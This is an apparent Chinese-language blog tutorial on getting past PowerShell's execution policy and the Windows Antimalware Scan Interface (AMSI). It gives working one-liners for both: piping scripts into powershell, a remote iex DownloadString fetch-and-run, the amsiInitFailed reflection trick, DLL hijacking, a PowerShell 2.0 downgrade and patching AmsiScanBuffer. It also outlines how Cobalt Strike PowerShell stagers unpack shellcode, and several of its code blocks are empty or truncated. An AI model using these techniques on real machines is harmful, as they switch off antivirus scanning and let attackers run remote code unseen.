什么是PowerShell执行策略?
PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。
为什么我们要绕过执行政策?
因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:
- Windows原生支持
- 能够调用Windows API
- 能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
- 能够避免被反病毒工具检测
- 大多数应用程序白名单解决方案已将其标记为“受信任”
- 一种用于编写许多开源Pentest工具包的媒介
如何查看执行策略
在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:
Get-ExecutionPolicy获取策略
Get-ExecutionPolicy -List | Format-Table -AutoSize
Set-ExecutionPolicy设置策略
1 | Set-ExecutionPolicy UnRestricted |
绕过执行策略
执行文件
type + 管道符
1 | PS C:\Users\scr1pt\Desktop> TYPE .\msg.ps1 | PowerShell.exe -noprofile - |
iex(New-Object Net.WebClient).DownloadString
1 | powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/runme.ps1')" |
-ExecutionPolicy Bypass
1 | PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy Bypass -File .\msg.ps1 |
-ExecutionPolicy Unrestricted
这类似于bypass标志。但是,当使用该标志时,微软声明它加载所有配置文件并运行所有脚本。如果运行从Internet下载的无签名脚本,则在运行之前会提示您获得许可。这种技术不会导致配置更改或需要写入磁盘。
1 | PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy UnRestricted -File .\msg.ps1 |
-ExecutionPolicy Un-signed
执行命令
powershell -command -c
1 | Powershell -command "Write-Host 'My voice is my passport, verify me.'" |
write-host
1 | PS C:\Users\scr1pt\Desktop\PowerSploit-master\Privesc> Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile - |
Get-Content
1 | PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | PowerShell.exe -noprofile - |
powershell -Enc
1 | $command = "Write-Host 'My voice is my passport, verify me.'" |
Invoke-command -scriptblock
1 | PS C:\Users\scr1pt\Desktop> invoke-command -scriptblock {echo "fuck you bypass"} |
Get-Content
1 | PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | Invoke-Expression |
策略失效
Disable ExecutionPolicy
1 | function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} |
ExcutionPolicy for the CurrentUser
为当前用户设置策略,不需要管理员权限,可以直接执行脚本
1 | Set-Executionpolicy -Scope CurrentUser bypass |
设置完成后会发现注册表中当前用户多了一项ExecutionPolicy
Set-ExecutionPolicy Scope Process
正如我们在介绍中看到的,执行策略可以应用于许多级别。这包括您可以控制的过程。使用此技术,可以在会话期间将执行策略设置为无限制。此外,它不会导致配置更改,也不需要向磁盘写入数据。我最初是在r007break博客上发现这种技术的。
1 | Set-ExecutionPolicy Bypass -Scope Process |
设置注册表
1 | reg query HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell |
结构如下
powershell免杀
AMSI绕过
Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。
Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。
在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:windows\system32\amsi.dll。
它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。
官方架构图
目前AMSI功能已集成到Windows 10的这些组件中
- 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)
- PowerShell(脚本、交互使用和动态代码评估)
- Windows 脚本宿主(wscript.exe 和 cscript.exe)
- JavaScript 和 VBScript
- Office VBA 宏
既然本质上是一个dll,那么就可以看下他的导出函数。
当执行一些敏感字符串时,会发现powershell拒绝执行并报毒。
火绒剑查看powershell模块会发现加载了amsi.dll
绕过方法
关闭System.Management.Automation.AmsiUtils
replace
1 | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
dll劫持
再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass。
- 进程对应的应用程序所在目录
- 系统目录(通过 GetSystemDirectory 获取)
- 16位系统目录
- Windows目录(通过 GetWindowsDirectory 获取)
- 当前目录
- PATH环境变量中的各个目录
powershell.exe的路径为C:\Windows\System32\WindowsPowerShell\v1.0,只需要在同目录下置放一个名为amsi.dll的模块。
但是并不是随便一个模块都行,由于已经开启了amsi,如果错误加载会引起powershell崩溃,那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。
导出函数如下
降低powershell版本
将powershell版本降到2.0,就能够规避amsi,因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。
1 | $PSVersionTable |
在 Windows 7 和 Windows 服务器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。
在普通用户权限下,可以通过如下命令经行检查:
管理员权限可以使用如下命令:
这里虚拟机是没有这个环境的,看了下本机有2.0版本,这里就换下本机试一下,是能够成功的执行的。
混淆
拼接
1 | "amsiutils" |
关闭windows defender
关闭Windows Defender 也可以使系统自带的AMSI检测无效化。
利用反射将内存中AmsiScanBuffer方法的检测长度置为0
把AmsiScanBuffer函数前三个字节修改为如下,即可绕过
1 | xor rax, rax |
AMSI检测调用过程为:
AmsiInitialize
AMSI API.AmsiOpenSession
打开sessionAmsiScanBuffer
1
2
3
4
5
6
7
8HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);scans the user-input.AmsiCloseSession
关闭sessionAmsiUninitialize
删除AMSI API
脚本如下,但是会被windows defender检测
hook AmsiScanBuffer
我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。
AmsiScanBuffer最后一个参数也就是返回值为AMSI_RESULT
1 | typedef enum AMSI_RESULT { |
方法应该挺多的,可以注入一个dll到powershell这样去hook或者什么操作,也可以直接起一个powershell进程然后获取AmsiScanBuffer
的函数地址,让他直接函数返回啊这些操作,这个方法的重点应该是免杀性。
cs powersehll
1 |
第二层
创建一个ProcessStartInfo结构体,填入进程名、参数、窗口隐藏
1 |
第三层,base64 + gunzip
1 |
- VirtualAlloc
- CreateThread
- WaitForSingleObject
得到一段cs的shellcode
http://www.ctfiot.com/7487.html
Author: scr1pt